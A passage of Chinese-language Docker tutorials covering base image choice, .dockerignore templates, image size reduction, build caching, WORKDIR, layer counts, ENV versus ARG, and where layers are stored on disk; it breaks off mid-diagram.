# 1. 多阶段构建 + 最简基础镜像
FROM golang:1.21 AS builder
...
FROM alpine:3.18  # 或 scratch
COPY --from=builder ...

# 2. 固定版本,不用 :latest
FROM node:18.20.0-alpine  # ✅
FROM node:latest           # ❌

# 3. 使用官方镜像优先
FROM node:18-alpine  # ✅ 官方维护
FROM my-base:1.0     # ❌ 自定义镜像是最后选择

# 4. 尽量小但不要为了小牺牲兼容性
FROM node:18-alpine    # ✅ 经过测试
FROM busybox           # ❌ 缺少需要的工具

总结

  • 优先使用语言官方镜像的 alpine/slim 版
  • Go 等静态编译语言用 scratchalpine
  • Alpine 是通用好选择,但注意 musl 兼容性
  • 高安全场景用 distrolessscratch
  • 始终固定版本标签,避免 :latest
  • 多阶段构建中,构建阶段用完整镜像,运行阶段用最小镜像

.dockerignore:别把整个项目都打包进去

.dockerignore:别把整个项目都打包进去

概述

默认情况下,docker build 会把构建上下文的所有文件发送给 Docker daemon。如果你的项目目录里有 node_modules.git.env 等文件,Docker 会统统打包。这不仅导致构建变慢,还可能把敏感信息泄露到镜像里

.dockerignore 文件的作用类似于 .gitignore——指定在构建时哪些文件和目录需要被忽略。

不加 .dockerignore 的后果

# 项目结构
myapp/
├── .git/              # ~100MB
├── node_modules/      # ~500MB
├── .env               # 数据库密码!
├── .gitignore
├── package.json
├── Dockerfile
└── src/
    └── index.js
# 构建时,整个目录被发送到 Docker daemon
docker build -t myapp .
# Sending build context to Docker daemon  615.3MB
# 发送 600MB,其中有用的可能只有 1MB
flowchart TD
    A["项目目录\n~615MB"] --> B["构建上下文\n~615MB"]
    B --> C["Docker daemon 解压所有文件"]
    C --> D["构建镜像"]
    D --> E[".env 密码暴露在\n镜像历史中?⚠️"]

    B --> F["构建缓慢"]
    B --> G["大量网络传输"]

.dockerignore 基本用法

# .dockerignore
.git
node_modules
.env
*.md
test/
coverage/
.gitignore
Dockerfile
docker-compose.yml
.vscode/
.idea/
__pycache__/
*.pyc
.venv/

使用后:

docker build -t myapp .
# Sending build context to Docker daemon  3.2MB
# 从 615MB → 3.2MB,快 200 倍

语法规则

.dockerignore 的语法和 .gitignore 几乎一致:

# 注释以 # 开头

# 忽略特定文件
.env
secret.key

# 忽略目录
node_modules/
.git/

# 通配符
*.log        # 所有 .log 文件
*.pyc         # 所有 Python 编译文件

# 忽略特定深度的文件
**/__pycache__/   # 任何深度的 __pycache__
**/node_modules/  # 任何深度的 node_modules

# 反向选择(不忽略)
!important.log    # 保留这个文件

# 忽略根目录下的特定目录
/src/temp/

# 只忽略到特定深度
/tmp/*        # 忽略 /tmp 的子项,不递归

常见语言的项目模板

Node.js

.git
.gitignore
node_modules/
npm-debug.log*
.env
.env.*
!.env.example
.DS_Store
coverage/
.nyc_output/
dist/
*.ts
!.env
test/

Python

.git
.gitignore
__pycache__/
*.pyc
*.pyo
.env
.venv/
venv/
*.egg-info/
dist/
build/
.pytest_cache/
.tox/

Go

.git
.gitignore
.env
vendor/
*.exe
*.test
*.out
tmp/

Java

.git
.gitignore
target/
*.class
*.jar
*.war
!.mvn/wrapper/maven-wrapper.jar
.idea/
*.iml
.settings/
.project

通用

.git
.gitignore
.env
*.md
Dockerfile*
docker-compose*
.vscode/
.idea/
.DS_Store
*.log
tmp/
temp/

实战:面试高频场景题

场景 1:只忽略根目录的 node_modules

# ❌ 会忽略所有层级的 node_modules
**/node_modules

# ✅ 不递归忽略,只忽略根目录的
/node_modules

场景 2:保留特定文件

# 忽略所有 .env 文件
.env*

# 但保留 .env.example
!.env.example

场景 3:使用 Dockerfile 不同路径

# Dockerfile 在项目根目录
# 构建上下文是 ./backend/
# 此时 .dockerignore 必须在 ./backend/.dockerignore
# 而不是项目根目录

myapp/
├── frontend/
├── backend/
│   ├── .dockerignore   ← 在这里
│   ├── Dockerfile
│   └── src/
└── .git/

.dockerignore 与 .gitignore 的区别

特点 .gitignore .dockerignore
使用者 Git Docker
影响什么 不进 Git 仓库 不进入构建上下文
影响构建性能 不直接影响 直接影响(传输大小)
安全影响 代码泄露 敏感信息进入镜像
默认创建 通常有 很多人忘了创建

不配置 .dockerignore 的风险

风险 1:构建缓慢

# 如果刚好 npm install 在构建上下文中
# 每次都要发送几百 MB
time docker build -t myapp .
# real 2m30s

风险 2:缓存失效

不必要的文件变化会导致缓存失效:

# 没有 .dockerignore 时,README.md 变化也会让 COPY . 缓存失效
# 加上忽略后,README.md 变化不影响构建
*.md

风险 3:敏感信息泄露

# .env 文件包含数据库密码
DB_PASSWORD=supersecret

# 如果不忽略,密码会进入镜像层
docker history myapp
# IMAGE          CREATED          CREATED BY
# abc123...      2 minutes ago   COPY . .
# 任何人都可以看到这个层里的敏感信息!

最佳实践

  1. 总是创建 .dockerignore —— 就像 .gitignore 一样基本
  2. .dockerignore 排除 .env 文件 —— 防止密码泄露
  3. 排除版本控制和 IDE 配置 —— .git.vscode.idea
  4. 排除构建工具临时文件 —— __pycache__node_modules
  5. 保留必要的默认文件 —— 如 .env.example
  6. 定期检查上下文大小 —— docker build 输出的第一行会显示大小
# 查看当前上下文有哪些文件被发送
docker build -t debug . 2>&1 | head

总结

  • .dockerignore 控制哪些文件不进入构建上下文
  • 语法与 .gitignore 高度一致,支持通配符和取反
  • 不配置时,所有文件(包括 .gitnode_modules)都发送给 Docker
  • 可以避免敏感信息泄露到镜像层
  • 大幅减少构建上下文大小,提高构建速度
  • 按语言/项目类型维护模板化的 .dockerignore

优化 Docker 镜像体积:从 GB 到 MB 的 12 个实用技巧

优化 Docker 镜像体积:从 GB 到 MB 的 12 个实用技巧

概述

臃肿的镜像不仅占用磁盘空间,还拖慢 CI/CD 构建速度、增加网络传输时间、拉长部署窗口。本文将分享 12 个经过实战检验的镜像瘦身技巧,助你把镜像体积从 GB 级压缩到 MB 级。

效果概览

flowchart LR
    A["原始镜像\n~1.2GB"] --> B["基础镜像优化\n→ ~800MB"]
    B --> C["层数合并\n→ ~600MB"]
    C --> D["清理缓存\n→ ~300MB"]
    D --> E["多阶段构建\n→ ~50MB"]
    E --> F["终极压缩\n→ ~15MB"]

    style A fill:#ffcdd2
    style F fill:#c8e6c9

技巧 1:选择合适的基础镜像

# ❌ 臃肿
FROM ubuntu:22.04  # ~77MB
FROM node:18       # ~900MB

# ✅ 轻量
FROM alpine:3.18   # ~5MB
FROM node:18-alpine # ~170MB
FROM golang:1.21-alpine # ~350MB

体积对比(基础镜像):
| 镜像 | 大小 | 包含工具链 |
|——————–|———|——————-|
| ubuntu:22.04 | 77 MB | apt, GNU 工具集 |
| debian:bookworm-slim | 80 MB | apt(精简版) |
| alpine:3.18 | 5 MB | apk(极度精简) |
| busybox:latest | 4 MB | 极简 Unix 工具集 |
| scratch | 0 B | 空镜像 |

技巧 2:多阶段构建

# 构建阶段
FROM golang:1.21 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .

# 运行阶段——从零开始
FROM scratch
COPY --from=builder /app/server /
CMD ["/server"]

效果:1.2GB → 8MB

技巧 3:合并 RUN 指令减少层数

# ❌ 每个 RUN 一个层
RUN apt update
RUN apt install -y curl vim
RUN apt clean
# 3 层

# ✅ 合并为一个层
RUN apt update && \
    apt install -y curl vim && \
    apt clean && \
    rm -rf /var/lib/apt/lists/*
# 1 层,且不会缓存包列表

技巧 4:清理包管理器的缓存

# APT (Debian/Ubuntu)
RUN apt update && \
    apt install -y --no-install-recommends curl && \
    apt clean && \
    rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

# APK (Alpine)
RUN apk --no-cache add curl
# --no-cache 自动不缓存包索引

# PIP (Python)
RUN pip install --no-cache-dir -r requirements.txt
# --no-cache-dir 避免 pip 下载缓存

技巧 5:使用 –no-install-recommends

# ❌ 安装推荐的额外包
RUN apt install -y curl
# 可能额外安装几十 MB 的推荐包

# ✅ 只装必要的
RUN apt install -y --no-install-recommends curl

技巧 6:删除临时文件和工具链

FROM ubuntu:22.04
RUN apt update && \
    apt install -y --no-install-recommends \
    build-essential \
    gcc \
    make && \
    gcc -o /app/compiled source.c && \
    apt purge -y --auto-remove build-essential gcc make && \
    apt clean && \
    rm -rf /var/lib/apt/lists/*

更好的做法是用多阶段构建,不让编译工具进最终镜像。

技巧 7:利用 .dockerignore

# .dockerignore
node_modules/
.git/
.env
*.md
test/
tests/
.gitignore
Dockerfile
docker-compose.yml
__pycache__/
*.pyc
.venv/

避免将开发文件的临时文件带入构建上下文。

技巧 8:使用 Distroless 镜像

# FROM ubuntu 或 debian
# 使用 Google 的 distroless 镜像
FROM gcr.io/distroless/base-debian12

COPY app /app
CMD ["/app"]

Distroless 只包含应用和运行时依赖,没有 shell、包管理器等。

技巧 9:压缩二进制文件

FROM golang:1.21 AS builder
WORKDIR /app
COPY . .
# 启用编译优化
RUN CGO_ENABLED=0 GOOS=linux go build \
    -ldflags="-s -w" \
    -o server .

FROM alpine:3.18
COPY --from=builder /app/server /server
CMD ["/server"]

-s -w 标志移除调试信息,可减少 20-30% 的二进制大小。

技巧 10:使用更小的运行时镜像

# ❌ 在运行时镜像中也安装大量包
FROM ubuntu:22.04
RUN apt install -y python3 python3-pip curl vim git

# ✅ 只用运行时所需
FROM python:3.11-slim
WORKDIR /app
COPY --from=builder /app/dist .
CMD ["python", "app.py"]

技巧 11:不安装不必要的包

# ❌ 装了但你根本不需要
RUN apk add curl vim git bash openssh

# ✅ 只装必要的
RUN apk --no-cache add ca-certificates tzdata
flowchart TD
    A["应用需要 curl?"] -->|"仅构建时需要"| B["多阶段构建\n构建阶段安装"]
    A -->|"运行需要"| C["用 alpine/distroless\n替代完整包"]
    A -->|"不需要"| D["不安装"]

技巧 12:使用 Docker Squash(实验性)

# 将多层压缩为一层
docker build --squash -t myapp:latest .

不过注意 Squash 是实验特性,且在 Docker 19.03+ 中已被 --squash 标记为实验性。更好的做法是在构建时就控制好层数。

实战:优化前后对比

优化前

FROM node:18
COPY . /app
WORKDIR /app
RUN npm install
RUN npm install -g pm2
RUN npm run build
CMD ["pm2-runtime", "start", "ecosystem.config.js"]

大小:~1.1GB

优化后

FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

FROM node:18-alpine
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
COPY --from=builder /app/package.json ./
USER node
EXPOSE 3000
CMD ["node", "dist/server.js"]

大小:~180MB(减少 83%)

总结:瘦身清单

每次构建前问自己:
1. ✅ 基础镜像能不能换 Alpine 或 Distroless?
2. ✅ 要不要用多阶段构建移除编译工具?
3. ✅ 是否合并了 RUN 指令减少层数?
4. ✅ 包管理器缓存清理了吗?
5. ✅ 删了不必要的推荐包和工具链吗?
6. ✅ 有 .dockerignore 过滤无用文件吗?
7. ✅ 生产依赖和开发依赖分开了吗?
8. ✅ 编译时加了 -ldflags="-s -w" 吗?


构建缓存原理与利用:让 Docker build 快到飞起

构建缓存原理与利用:让 Docker build 快到飞起

概述

每次执行 docker build,Docker 都会重新构建镜像。如果没有缓存机制,哪怕只改了一行代码,整个构建过程都得从头再来。Docker 的构建缓存(Build Cache)机制,利用分层复用和数据校验,可以大幅加速重复构建。理解它的工作原理,是写出高效的 Dockerfile 的必备技能。

缓存的核心原理

flowchart TD
    A["执行 RUN/COPY/ADD 指令"] --> B{"检查缓存命中?"}
    B -->|"缓存命中 ✅"| C["复用缓存层"]
    B -->|"缓存未命中 ❌"| D["重新执行指令"]
    D --> E["后续所有层\n缓存全部失效"]

    C --> F["继续下一条\n指令"]
    E --> F

缓存命中条件

Docker 缓存命中遵循严格的规则:

FROM node:18-alpine  # 缓存键:镜像 ID
WORKDIR /app          # 缓存键:指令字符串
COPY package*.json ./ # 缓存键:文件内容和元数据
RUN npm ci            # 缓存键:上层镜像 ID + 指令字符串
COPY . .              # 缓存键:文件内容和元数据

缓存命中的条件:
1. 父层镜像 ID 相同 —— 前一层没有变化
2. 指令字符串相同 —— RUN apt update 不能变成 apt-get update
3. 涉及的文件内容相同 —— 对于 COPY/ADD,检查文件的哈希值
4. 构建参数相同 —— --build-arg 变了也会导致缓存未命中

缓存失效的场景

场景 1:COPY 导致缓存失效

FROM node:18-alpine
WORKDIR /app

# 如果源码频繁变动
COPY . .          #  每次源码变化,从这里开始缓存失效
RUN npm ci        # 每次都重新安装依赖!(很慢)

场景 2:指令顺序不合理

# ❌ 先 COPY 全部代码,再安装依赖
FROM node:18-alpine
WORKDIR /app
COPY . .            # 源码变了  缓存失效
RUN npm ci          # 即使 package.json 没变,也要重新安装
flowchart LR
    subgraph "不合理的顺序"
        A1["COPY . ."] -->|"源码常变"| B1["缓存失效"]
        B1 --> C1["RUN npm ci\n每次重新安装"]
    end

    subgraph "合理的顺序"
        A2["COPY package*.json ./"] -->|"不常变"| B2["缓存命中"]
        B2 --> C2["RUN npm ci\n复用缓存"]
        C2 --> D2["COPY . ."]
        D2 --> E2["只有最后一步\n重跑"]
    end

最大化利用缓存的策略

策略 1:按变化频率排序指令

FROM node:18-alpine

# 1. 最不常变的部分优先
WORKDIR /app

# 2. 依赖文件单独复制(不常变)
COPY package*.json ./
COPY tsconfig.json ./

# 3. 安装依赖(不常变)
RUN npm ci

# 4. 复制源码(最常变)
COPY . .

# 5. 构建(常变)
RUN npm run build

# 6. 运行阶段
CMD ["node", "dist/server.js"]

效果:90% 的构建只需要重新执行 COPY . .RUN npm run build 两行。

策略 2:多阶段构建中的缓存

FROM golang:1.21 AS builder
WORKDIR /app

# 先复制依赖文件(不常变)
COPY go.mod go.sum ./
RUN go mod download

# 再复制源码(常变)
COPY . .
RUN CGO_ENABLED=0 go build -o server .

FROM alpine:3.18
COPY --from=builder /app/server /
CMD ["/server"]

策略 3:使用特定文件做缓存标记

FROM node:18-alpine

# 利用构建参数控制缓存清空
ARG CACHE_BUST=1

# 如果需要强制重新安装所有依赖
COPY package*.json ./
RUN npm ci

# 之后每次修改构建可以用不同的 CACHE_BUST
# 强制重建某个步骤
docker build --build-arg CACHE_BUST=$(date +%s) -t myapp .

缓存管理命令

# 查看构建缓存使用情况
docker builder prune --all

# 查看缓存大小
docker system df

# 清除所有构建缓存
docker builder prune

# 保留最近 24 小时的缓存
docker builder prune --keep-storage 24h

# 构建时禁用缓存
docker build --no-cache -t myapp .

Docker BuildKit 的高级缓存

Docker 18.09+ 引入了 BuildKit,提供更强大的缓存能力:

# 启用 BuildKit
DOCKER_BUILDKIT=1 docker build -t myapp .

# 或者设置默认
echo '{"features":{"buildkit":true}}' >> /etc/docker/daemon.json
systemctl restart docker

挂载类型的缓存

# syntax=docker/dockerfile:1
FROM golang:1.21 AS builder

# 使用 --mount=type=cache 持久化 Go 模块缓存
RUN --mount=type=cache,target=/go/pkg/mod \
    go mod download

WORKDIR /app
COPY . .

RUN --mount=type=cache,target=/go/pkg/mod \
    --mount=type=cache,target=/root/.cache/go-build \
    go build -o server .
# APT 包缓存(避免每次重新下载)
FROM ubuntu:22.04
RUN \
    --mount=type=cache,target=/var/cache/apt \
    --mount=type=cache,target=/var/lib/apt \
    apt update && apt install -y curl

ssh 挂载(安全拉取私有依赖)

# syntax=docker/dockerfile:1
FROM alpine

# 使用 ssh 代理连接私有 git 仓库
RUN --mount=type=ssh \
    git clone git@github.com:myorg/private-repo.git
docker build --ssh default=$SSH_AUTH_SOCK -t myapp .

实际案例:缓存带来的性能提升

场景 无缓存 有缓存 提升
Node.js 项目(首次构建) 120 秒 —— ——
Node.js 项目(修改一行代码) 120 秒 15 秒 8x
Go 项目(修改源码) 90 秒 10 秒 9x
Python 项目(修改源码) 60 秒 8 秒 7.5x
Java Spring(修改源码) 180 秒 25 秒 7.2x

缓存失效的常见原因

场景 原因 解决方案
每次构建都慢 没有利用指令顺序 将不常变操作放在前面
即使不修改代码也重建 COPY . 导致的无关文件变化 使用 .dockerignore
依赖版本未更新但重装 COPY package*.json ./ 不正确 确认文件名匹配
缓存越来越大 从未清理缓存的 BuildKit 定期 docker builder prune
FROM 镜像标签更新导致缓存失效 :latest 标签是浮动的 使用固定版本标签

总结

  • Docker 构建缓存基于每层指令的哈希校验来复用
  • 变化频率从低到高排列 Dockerfile 指令
  • 先复制依赖文件,安装依赖,再复制源码
  • 利用 .dockerignore 避免无关文件破坏缓存
  • BuildKit 提供了更强大的挂载缓存(--mount=type=cache
  • 定期清理构建缓存,节约磁盘空间
  • --no-cache 是调试时的武器,不是日常习惯

WORKDIR 指令:Dockerfile 中的”当前目录”管理之道

WORKDIR 指令:Dockerfile 中的”当前目录”管理之道

概述

WORKDIR 是 Dockerfile 中用于设置工作目录的指令。它的作用类似于 cd 命令,但比 cd 更强大和可靠。无论是 RUNCMDENTRYPOINTCOPY 还是 ADD 指令,都会以 WORKDIR 指定的目录作为当前路径执行。

基本语法

WORKDIR /path/to/directory

如果目录不存在,Docker 会自动创建它(类似 mkdir -p),这与 cd 不同——后者在目录不存在时会失败。

为何不能只用 RUN cd?

# ❌ 错误写法:RUN cd 只对当前层生效
RUN cd /app
RUN pwd  # 输出仍是 /,不是 /app

# ✅ 正确写法:使用 WORKDIR
WORKDIR /app
RUN pwd  # 输出 /app
flowchart LR
    subgraph "RUN cd 的问题"
        A["FROM ubuntu"] --> B["RUN cd /app\n文件系统快照: /"]
        B --> C["RUN pwd\n文件系统快照: /"]
        C --> D["结果: / ❌ 不是 /app"]
    end

    subgraph "WORKDIR 的正确用法"
        E["FROM ubuntu"] --> F["WORKDIR /app\n文件系统快照: /app"]
        F --> G["RUN pwd\n文件系统快照: /app"]
        G --> H["结果: /app ✅"]
    end

每个 RUN 指令会在新层中执行,前一个 RUN 中的 cd 不会影响后续层。而 WORKDIR 会持久化地写入 Dockerfile 的状态中。

多层 WORKDIR 的叠加效果

FROM ubuntu:22.04

# 连续设置 WORKDIR,路径会叠加
WORKDIR /usr
WORKDIR src
WORKDIR app
RUN pwd  # 输出: /usr/src/app

# COPY 也会基于 WORKDIR
COPY . .  # 实际复制到 /usr/src/app/

常用场景

1. 标准化应用目录

FROM node:18-alpine

# 统一工作目录
WORKDIR /app

COPY package*.json ./
RUN npm ci --production

COPY . .
EXPOSE 3000
CMD ["node", "server.js"]

2. 多阶段构建中的不同路径

FROM golang:1.21 AS builder
WORKDIR /build
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN go build -o /build/myapp

FROM alpine:3.18
WORKDIR /app
COPY --from=builder /build/myapp .
CMD ["./myapp"]

3. 配合相对路径 COPY

FROM python:3.11-slim

WORKDIR /opt/myapp

# 以下两条语句完全等价:
COPY ./requirements.txt /opt/myapp/requirements.txt
COPY ./requirements.txt .  # 因为 WORKDIR 已经是 /opt/myapp

WORKDIR vs 绝对路径

# 没有 WORKDIR,每次都要写绝对路径
FROM ubuntu:22.04
COPY app /opt/myapp/app
COPY config /opt/myapp/config
RUN cd /opt/myapp && chmod +x app/start.sh
CMD ["/opt/myapp/app/start.sh"]

# 使用 WORKDIR 简化
FROM ubuntu:22.04
WORKDIR /opt/myapp
COPY app ./app
COPY config ./config
RUN chmod +x ./app/start.sh
CMD ["./app/start.sh"]

与容器运行时的关系

WORKDIR 的值会保存到镜像配置中,容器启动后的初始工作目录就是这个路径:

# 构建时设置了 WORKDIR /app
docker run -it myimage pwd
# 输出: /app

# 可以通过 -w 参数覆盖
docker run -it -w /var/log myimage pwd
# 输出: /var/log
# 查看镜像的 WORKDIR 设置
docker inspect myimage | grep WorkingDir
# "WorkingDir": "/app"

最佳实践

实践 说明
总是设置 WORKDIR 不要依赖默认的 /,明确指定目录
使用绝对路径 避免路径叠加带来的歧义
每个项目用独立目录 /app/opt/myapp/usr/src/app
不同阶段用不同 WORKDIR 多阶段构建中,各阶段路径独立
PATH 保持一致 WORKDIR 不要影响 PATH 等系统变量的正常工作

总结

  • WORKDIR = 持久化的 cd,影响其后所有指令
  • 目录不存在时自动创建,无需手动 mkdir
  • 多个 WORKDIR 叠加形成路径(绝对路径重新开始)
  • 容器的初始工作目录遵循镜像的最后 WORKDIR 设置
  • 运行时可通过 -w 参数临时覆盖

用好 WORKDIR 能让你的 Dockerfile 更简洁、更可读、更可靠。


Docker 镜像层过多带来的问题

Docker 镜像层过多带来的问题

层多的坏处

虽然 Docker 的分层存储有很多好处,但层数过多也会带来一系列问题。简单来说:层太多 → 镜像大 + 构建慢 + 运行时慢

层数过多的四大问题

graph TB
    subgraph 层数过多的后果
        OVERLAY[过多镜像层 50+]

        OVERLAY --> SIZE[镜像体积膨胀<br/>每层只是文件差异,但合起来就大了]
        OVERLAY --> BUILD[构建速度下降<br/>缓存检查耗时增加]
        OVERLAY --> PUSH_PULL[推拉时间变长<br/>HTTP 请求数增多]
        OVERLAY --> OVERHEAD[运行时性能下降<br/>文件查找需遍历更多层]
    end

问题一:镜像体积膨胀

每一层都会保存文件的”快照差异”,即使后一层删除了文件,前一层仍然占用空间:

# ❌ 糟糕的 Dockerfile — 体积膨胀
FROM ubuntu

# 层1: 下载并解压大文件(200MB)
RUN wget https://example.com/bigfile.tar.gz && tar -xzf bigfile.tar.gz

# 层2: 删除压缩包(这只是标记删除,层1仍然占用200MB)
RUN rm bigfile.tar.gz
graph LR
    subgraph 1: 添加大文件
        L1[1 200MB<br/>bigfile.tar.gz ]
    end
    subgraph 2: 删除标记
        L2[2<br/>whiteout 文件<br/>仅几字节]
    end
    subgraph 最终镜像
        MERGED[最终镜像中文件"消失"<br/> 200MB 还在层1中!]
    end

    L1 --> L2 --> MERGED

最终镜像大小:200MB + KB级别 = 约200MB,实际上需要的文件只有几十 MB。

问题二:构建速度变慢

层的缓存机制是”全部或 nothing“——只要某层的内容发生了变化,该层及之后所有层的缓存都会失效:

FROM node:18

# 层1: 依赖安装(很少变化)
COPY package.json package-lock.json ./
RUN npm ci                    # 层2: 安装依赖

# 层3: 复制代码(经常变化)
COPY src/ ./src/

# 状态:层3的 COPY src/ 每次代码变化都会使层3重建
# 但层1和层2缓存命中,所以影响不大

# 但如果反过来:
COPY src/ ./src/              # 层1: 经常变
COPY package.json ./          # 层2: 缓存会失效!因为层1变了
RUN npm ci                    # 层3: 也缓存失效,需要重装所有依赖

层数越多,缓存系统的决策路径越长,而且由于 DAG 的依赖性,长链路上的任何一个节点变化都会导致后续全部缓存失效。

问题三:推拉时间增加

# 每次推送和拉取时,每一层都是一个 HTTP 请求
# 层数越多,请求次数越多

# 50层的镜像 → 50次请求
# 10层的镜像 → 10次请求

# 网络延迟累积效应:
# 单次请求额外延迟: 20ms
# 50层 × 20ms = 1s 额外握手时间
# 还不算 TLS 重新协商的开销

问题四:运行时性能下降

OverlayFS 查找文件需要从 Upper 层向下遍历:

graph TB
    subgraph 文件查找路径
        FILE[读取 /usr/bin/python3]
        CHECK1[检查层5 Upper<br/>没有这个文件]
        CHECK2[检查层4<br/>没有这个文件]
        CHECK3[检查层3<br/>没有这个文件]
        CHECK4[检查层2<br/>没有这个文件]
        CHECK5[检查层1<br/>找到了!]
    end

    FILE --> CHECK1 --> CHECK2 --> CHECK3 --> CHECK4 --> CHECK5

每多一层,文件查找就需要多一次检查。 虽然目录缓存(dcache)能优化重复查找,但大量 I/O 操作时影响显著。

实际测试数据

# 模拟分层对比
# 测试环境: 同样的最终内容,不同分层策略

# 方案A: 多分层(10层)
docker build -f Dockerfile.multi-layer -t app:many .

# 方案B: 合并层(3层)
docker build -f Dockerfile.single -t app:few .

# 结果对比
# 镜像大小: 方案A 652MB > 方案B 584MB
# 构建时间: 方案A 63s > 方案B 41s
# 容器启动时间: 方案A 1.2s > 方案B 0.9s

最佳实践:如何控制层数

1. 合并 RUN 命令

# ❌ 坏的做法 — 每个操作独立成层
RUN apt-get update
RUN apt-get install -y curl
RUN apt-get install -y nginx
RUN apt-get clean
RUN rm -rf /var/lib/apt/lists/*

# ✅ 好的做法 — 合并到一个 RUN 中
RUN apt-get update && \
    apt-get install -y curl nginx && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

2. 使用多阶段构建

# ✅ 多阶段构建 — 最终只保留需要的层
# 构建阶段(可能很多层)
FROM golang:1.20 AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 go build -o myapp

# 运行阶段(只有基础镜像 + 一个 COPY 层)
FROM alpine:latest
RUN apk add --no-cache ca-certificates
COPY --from=builder /app/myapp /myapp
CMD ["/myapp"]

3. 使用 –squash 合并层

# 实验性功能:将整个镜像合并成一层
docker build --squash -t myapp .

4. 合理的层数建议

环境 建议层数 说明
开发环境 不限 优先构建速度
CI/CD ≤ 30 层 兼顾缓存和效率
生产镜像 ≤ 20 层 优先运行时性能
基础镜像 ≤ 10 层 最严格的优化

总结

层数不是越少越好,也不是越多越好,而是在合理范围内控制

层数过多的问题 原因 解决方案
体积膨胀 删除操作不移除下层数据 合并操作到同一层
构建变慢 缓存链路过长 合理安排指令顺序
推拉变慢 每层一个 HTTP 请求 合并层,减少总层数
运行时慢 文件查找需要遍历各层 使用多阶段构建精简最终层

一句话总结:写 Dockerfile 时要”心里有层”——每写一个 RUN、COPY、ADD,都在问自己:”这一层有必要单独成层吗?”


ENV 与 ARG:Dockerfile 中的变量机制你真的分清了吗?

ENV 与 ARG:Dockerfile 中的变量机制你真的分清了吗?

概述

在编写 Dockerfile 时,经常需要定义变量来实现参数的灵活传递。Docker 提供了两种变量机制:ENVARG。虽然它们看起来相似,但在作用域、生命周期和构建时行为上有着本质区别。理解这些区别,是编写灵活、安全、可维护的 Dockerfile 的基础。

概念对比

特性 ARG ENV
作用域 仅构建时(build 阶段) 构建时 + 容器运行时
传递方式 --build-arg 构建参数 在 Dockerfile 中设置值或通过 Docker Compose
持久化 构建完成后消失,不进入镜像 写入镜像元数据,容器启动后可用
安全性 可见于 docker historydocker inspect 同上,但可用于构建和运行
默认值 可通过 ARG name=default 设置 可通过 ENV name=value 设置
覆盖方式 构建时 --build-arg name=value 运行时 -e name=value

实战演示

ARG 使用场景——构建参数

# Dockerfile
ARG NODE_VERSION=18-alpine
FROM node:${NODE_VERSION}

ARG APP_PORT=3000
EXPOSE ${APP_PORT}

COPY package*.json ./
RUN npm ci --production

COPY . .
CMD ["node", "server.js"]

构建时传入不同参数:

# 使用默认值(18-alpine)
docker build -t myapp:latest .

# 覆盖 ARG
docker build --build-arg NODE_VERSION=20-alpine -t myapp:node20 .

ENV 使用场景——运行时配置

# Dockerfile
FROM node:18-alpine

# 运行时环境变量
ENV NODE_ENV=production
ENV LOG_LEVEL=info

COPY package*.json ./
RUN npm ci --production

COPY . .
CMD ["node", "server.js"]

运行时可覆盖:

# 默认生产模式
docker run myapp

# 调试时覆盖
docker run -e NODE_ENV=development -e LOG_LEVEL=debug myapp

关键区别详解

1. 生命周期

ARG —— 限构建时存在,构建完成后消失,不会留在镜像中。

ARG SECRET_KEY
RUN echo $SECRET_KEY > /tmp/key.txt
# 构建结束后 SECRET_KEY 不进入镜像层

ENV —— 写入镜像元数据,容器启动后通过 env 命令或代码中的环境变量读取接口可见。

ENV DB_HOST=localhost
ENV DB_PORT=5432
# 容器启动后,进程可以读取 DB_HOST、DB_PORT

2. 构建时交互

ARG 的值可以在不同构建阶段独立设置:

# 多阶段构建中,每个阶段可以有自己的 ARG
FROM node:18 AS builder
ARG MY_VAR=builder_default
RUN echo $MY_VAR > /tmp/value

FROM alpine:3.18 AS production
ARG MY_VAR=prod_default
COPY --from=builder /tmp/value /tmp/

3. 安全性考量

不要将敏感信息用 ENV 设置到镜像中!ENV 值会永久存在于镜像层中,任何人拉取镜像后都可以通过 docker inspect 看到。

# 危险!密码会暴露
ENV DB_PASSWORD=supersecret

# 暴露查询
docker inspect  | grep DB_PASSWORD

建议做法:
– 敏感信息使用运行时注入(-e 参数或 secrets 机制)
– ARG 也不要用于密码,因为 docker history 可以回溯每一层

最佳实践

组合使用 ARG + ENV

FROM node:18-alpine

# 构建参数
ARG APP_VERSION=1.0.0
ARG COMMIT_SHA

# 将 ARG 值传递给 ENV
ENV APP_VERSION=${APP_VERSION}
ENV COMMIT_SHA=${COMMIT_SHA}

RUN echo "Building version: $APP_VERSION ($COMMIT_SHA)"

CMD ["node", "app.js"]
docker build \
  --build-arg APP_VERSION=2.1.0 \
  --build-arg COMMIT_SHA=abc123 \
  -t myapp:2.1.0 .

默认值策略

# ARG 可以没有默认值(构建时必须传入)
ARG REQUIRED_ARG

# ENV 最好有安全的默认值
ENV NODE_ENV=production
ENV PORT=3000
flowchart TD
    A[构建开始 docker build] --> B{--build-arg?}
    B -->|| C[使用传入值覆盖 ARG]
    B -->|没有| D[使用 ARG 默认值]
    D --> E{ARG 定义了但没有默认值?}
    E -->|| F[构建报错]
    E -->|| G[继续构建]
    C --> G
    G --> H[构建完成]
    H --> I[ARG 值消失\n仅存在于构建历史中]
    H --> J[ENV 值写入镜像层\n容器启动可见]

总结

  • ARG = 构建时变量,适合版本号、代理配置、镜像标签等
  • ENV = 运行时变量,适合应用配置、运行模式、路径定义
  • 敏感信息不要硬编码在 ENV 或 ARG 中
  • 组合使用 ARG+ENV 可以在保证灵活性的同时提供默认值
  • 理解两者的区别是 Dockerfile 进阶的重要一步

Docker 镜像层存储在磁盘的什么位置?

Docker 镜像层存储在磁盘的什么位置?

一句话回答

Docker 镜像层存储在宿主机的 /var/lib/docker/ 目录下,具体存储驱动不同,位置结构也不同。使用 overlay2 驱动时,镜像层存储在 /var/lib/docker/overlay2/ 中。

存储位置总览

graph TB
    subgraph /var/lib/docker/
        CONT[/var/lib/docker/]
        CONT --> OVERLAY[overlay2/<br/>镜像层和容器层数据]
        CONT --> IMAGE[image/<br/>镜像元数据]
        CONT --> VOLUME[volumes/<br/>数据卷]
        CONT --> NETWORK[network/<br/>网络配置]
        CONT --> CONTAINERS[containers/<br/>容器配置和日志]
